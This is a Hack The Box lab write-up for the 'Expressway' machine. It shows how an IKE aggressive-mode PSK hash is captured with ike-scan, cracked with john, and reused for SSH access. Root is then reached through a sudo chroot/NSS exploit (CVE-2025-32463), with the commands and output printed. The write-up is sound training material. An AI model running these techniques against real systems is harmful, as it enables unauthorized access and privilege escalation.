

Expressway

Tags: [#Easy](#) [#Linux/Debian](#) [#ISAKMP](#) [#IKE](#) [#Weak-Hashing-Algorithms](#) [#Weak-Passwords](#) [#Password-Cracking](#) [#Outdated-software](#) [#Shared-Library-Hijacking](#)

Nmap Results

```
Nmap scan report for 10.10.11.87
Host is up (0.015s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds
```

Service Enumeration

This machine is a bit odd. TCP Port 22 is the only open port on the entire thing, running the latest version of OpenSSH. Let's begin enumerating there.

I ran multiple nmap scripts for SSH against the target such as `ssh-auth-methods`, and `ssh-brute`. The server accepts passwords and keypairs for authentication, but we don't have any of that.

`ssh-brute` failed to find creds using the default wordlists and another wordlist of default SSH creds I found in `seclists`. We've hit a dead end.

I performed a UDP scan and found a service called **isakmp** listening on port 500. According to this [resource](#), ISAKMP is a protocol for managing Security Associations (SAs) and cryptographic keys, and is part of the Internet Key Exchange (IKE) protocol.

IKE protocol

The Internet Key Exchange (IKE) protocol facilitates secure communication over VPN connections. There are 2 phases, but the important one here is phase 1.

Phase 1 is the **negotiation** stage where secure tunnel is created. Normally, this is done in 3 steps, each involving both peers sending data (so 6 packets total):

1. The peers agree on a common set of authentication methods (assume PSK for this example), encryption/hashing algorithms, and Diffie-Hellman groups
2. They exchange their public keys and nonces in plaintext to derive a shared encryption key
3. A secure channel is created using the encryption key and they exchange their identities and a hash of the DH public keys, nonce, and PSK. If both hashes match, that proves that they both have the right PSK, and they can start talking.

IKE provides an "aggressive mode" where speed is prioritized over security. The phase is still done in 3 steps but it goes client --> server, server --> client, and finally client --> server, no round trips:

1. Client sends everything they need to the server for negotiation at once. This includes the DH public key, nonce, and their identity
2. Server sends their selected negotiation parameters, their DH public key, nonce, identity, and authentication hash
3. Client sends their authentication hash to prove they also know the PSK

All of this happens before a secure tunnel is created, so an attacker can easily capture these packets, including the authentication hash. This can be cracked to find the PSK since the captured packets will have the other pieces of information in clear text for the attacker to just plug in.

This Palo Alto [article](#) explains the whole protocol very well.

Exploitation

Initial Access

`ike-scan` is a tool for fingerprinting servers that use the IKE protocol for VPN communication. The `-A` flag attempts to use aggressive mode for negotiation, which allows some sensitive data to be transferred in plaintext.

```
(johnmap007@kali) - [~/htb/boxes/active/expressway]
$ sudo ike-scan -A 10.129.1.99
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.1.99 Aggressive Mode Handshake returned HDR=(CKY-R=835993716336b945) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes)
Nonce(32 bytes) IDType=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689df6b712 (XAUTH) VID=afcad71368a1fc96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.027 seconds (37.30 hosts/sec). 1 returned handshake; 0 returned notify

(johnmap007@kali) - [~/htb/boxes/active/expressway]
```

The tool retrieved all that we need, the encryption/hashing algorithms used, the server's identity, nonce, the server's public key, and the auth hash. Deriving the PSK should be easy from here.

To actually get the data that `ike-scan` captured, we rerun the command with `--pskcrack`:

```
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.1.99 Aggressive Mode Handshake returned HDR=(CKY-R=31170e161853827e) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes)
Nonce(32 bytes) IDType=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689df6b712 (XAUTH) VID=afcad71368a1fc96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

IKE PSK parameters (g.xr:g.xl:cky.r:cky.l:sai.b:idir.b:ni.b:nr.b:hash.r):
10ac86d066a4b064e33fa995c779a4a7c79b8a73e939f9067c4faff79c7e65593253f7d9ce2a65692e4eddf69b0e211115e2c501809ddad4de05939c1fcb189c94c58f426533e27fe5dc9cf22cb8539685eb78bd2637969f06607dae5
8f0b88bca451e7a1acc03ab1edc927186efe1e23477430139e806c1e007b33e948:dbb0d1f15fe7fb4ecccac1d1be727d467c97f8d773b46cc0150a3d00bbea42d2b8d972f65f7037b2502be9209b2a741caldf9e2cb401cccf4460d
cd029103304ab0af847e71c6b6113fc2fb502a12a4f320ecd0c9f669899ec60d6bc116be2223811504e00a34cdaab9040501b7dba5921218aa4e432ec7544003c9012935:31170e161853827e:bf5bc53a8f0fe2a:0000000100000001
0000000801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c0004000070800300002403010000800100018002
00028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c00040000708003000000066b6540657870726573737761792e687462:d3aa378a1717e1968cb8504ac9
b6dbb1b8c907a2:ad24e556fd05604d4f8f0c3af82022a47c88890354c7c2d20a03e0b47577448b:520b82b34b76fa705cba5c6c06b8e4f46d5927db

Ending ike-scan 1.9.6: 1 hosts scanned in 0.039 seconds (25.78 hosts/sec). 1 returned handshake; 0 returned notify

(johnmap007@kali) - [~/htb/boxes/active/expressway]
```

To save it to a file, set `--pskcrack=<filename>`. We can crack the PSK using the `psk-crack` tool, or by converting the output to a hash that `john` can understand with `ikescan2john`. I did the latter.

Now using the `rockyou.txt` wordlist, `john` found the PSK to be `freakingrockstarontheroad`

```
(johnmap007@kali) - [~/htb/boxes/active/expressway]
$ john --format=ike --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (IKE, PSK [HMAC MD5/SHA1 32/64])
Cost 1 (hash algorithm used for hmac [1:MD5 2:SHA1]) is 2 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
freakingrockstarontheroad (?)
1g 0:00:00:01 DONE (2026-02-21 00:57) 0.8264g/s 6648Kp/s 6648Kc/s 6648KC/s fredjohnson.. fraze103
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Remember that the server's identity was `ike@expressway.htb`. I tried SSHing as `ike` on this domain after adding it to our `/etc/hosts` file, and got a shell:

```

(johnmap007@kali)-[~/htb/boxes/active/expressway]
└─$ ssh ike@expressway.htb
The authenticity of host 'expressway.htb (10.129.1.99)' can't be established.
ED25519 key fingerprint is: SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdLLrfxRM8g
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:72: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
ike@expressway.htb's password:
Last login: Wed Sep 17 12:19:40 BST 2025 from 10.10.14.64 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 21 06:00:54 2026 from 10.10.14.84
ike@expressway:~$ ls
user.txt
ike@expressway:~$

```

Privilege Escalation

ike is not allowed to run any commands using sudo

There are no locally open ports with some service listening

Nothing interesting in /opt

No SUID binaries (find / -type f -perm 6000 -ls 2>/dev/null)

ike is part of a group named "proxy". The command find / -group proxy shows some files related to a program called "squid", which is a web proxy that **caches** pages for faster delivery to users so that the server doesn't have to process every request and load each page from scratch every time.

```

ike@expressway:/dev/shm$ find / -group proxy -ls 2>/dev/null
 1174      0 drwxr-xr-x   2 proxy   proxy      40 Feb 21 16:21 /run/squid
17693      4 drwxr-xr-x   2 proxy   proxy    4096 Sep 16 16:02 /var/spool/squid
15362      0 -rw-r-----   1 proxy   proxy       0 May 16 2025 /var/spool/squid/netdb.state
17150      4 drwxr-xr-x   2 proxy   proxy    4096 Sep 16 16:02 /var/log/squid
17151      4 -rw-r-----   1 proxy   proxy     941 Jul 23 2025 /var/log/squid/cache.log.2.gz
17195      4 -rw-r-----   1 proxy   proxy     20 Jul 22 2025 /var/log/squid/access.log.2.gz
17207      4 -rw-r-----   1 proxy   proxy    2192 Jul 23 2025 /var/log/squid/cache.log.1
17222      8 -rw-r-----   1 proxy   proxy    4778 Jul 23 2025 /var/log/squid/access.log.1
ike@expressway:/dev/shm$

```

The service is disabled according to systemctl, I've reached a dead end:

```

ike@expressway:/dev/shm$ systemctl status squid
o squid.service - Squid Web Proxy Server
   Loaded: loaded (/usr/lib/systemd/system/squid.service; disabled; preset: enabled)
   Active: inactive (dead)
     Docs: man:squid(8)
ike@expressway:/dev/shm$

```

linpeas found that the machine may be vulnerable to a kernel exploit:

```
CVE-2025-38236 - AF_UNIX MSG_OOB UAF
Kernel 6.16.7+deb14-amd64 (parsed 6.16.7) may be vulnerable to CVE-2025-38236 - AF_UNIX MSG_OOB UAF
Config hint: CONFIG_AF_UNIX_OOB=y
Exploit chain: crafted MSG_OOB send/rcv frees the OOB SKB while u->oob_skb still points to it, enabling kernel UAF → arbitrary read/write primitives (Project Zero 2025/08).
Mitigations: update to a kernel containing commit 32ca245464e1479bfea8592b9db227fdc1641705, disable CONFIG_AF_UNIX_OOB, or filter MSG_OOB in sandbox policies.
Heuristic detection: based solely on uname -r and kernel config; vendor kernels with backported fixes should be verified manually.

CVE-2025-38352 - POSIX CPU timers race
Kernel release ..... 6.16.7+deb14-amd64
Comparable version ..... 6.16.7
Task_work config ..... Enabled (y) (from /boot/config-6.16.7+deb14-amd64)
Patch status ..... Kernel train 6.16.7 (verify commit f90fffe1e152dedf52b932240ebbd670d83330eca manually)
CVE-2025-38352 risk ..... Low - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is enabled
```

It turns out that it's actually not. The reproduction steps in the original [advisory](#) did not work.

The installed sudo version is 1.9.17, which is vulnerable to **CVE-2025-32463**. In this version, when the `-R` or `--chroot` option was used, sudo would change to the specified path (that the attacker controls) before it checked the sudoers policy to see if you're even allowed to use sudo at all.

One part of the authorization check is a system called Name Service Switch (NSS), which is configured by a file named `/etc/nsswitch.conf`. This file tells the computer how to retrieve information about users, groups, and hosts.

Since sudo is already changed into the chroot directory by then, that conf file is entirely controlled by the attacker. From there, to get information about users, NSS looks at the module names written after the line starting with **passwd:** and tries them in order. For each one, it'll load the corresponding `.so` file to perform the check.

This PoC on [GitHub](#) compiles an `.so` file that sets UID and GID to root, then runs `/bin/sh`

After running the POC script, we get a root shell:

```
ike@expressway:/dev/shm$ nano exploit.sh
ike@expressway:/dev/shm$ chmod +x exploit.sh
ike@expressway:/dev/shm$ ./ex
-bash: ./ex: No such file or directory
ike@expressway:/dev/shm$ ./exploit.sh
woot!
root@expressway:/# whoami
root
root@expressway:/#
```

Skills Learned

- The IKEv1 protocol combined with using PSK as the auth method is very insecure. Better to use IKEv2 with digital signatures or asymmetric key cryptography
- Not everything that PEASS highlights in yellow is guaranteed to get you root. Still, there's a very high chance. Just don't tunnel vision if your exploit isn't working.

Proof of Pwn

<https://labs.hackthebox.com/achievement/machine/391579/736>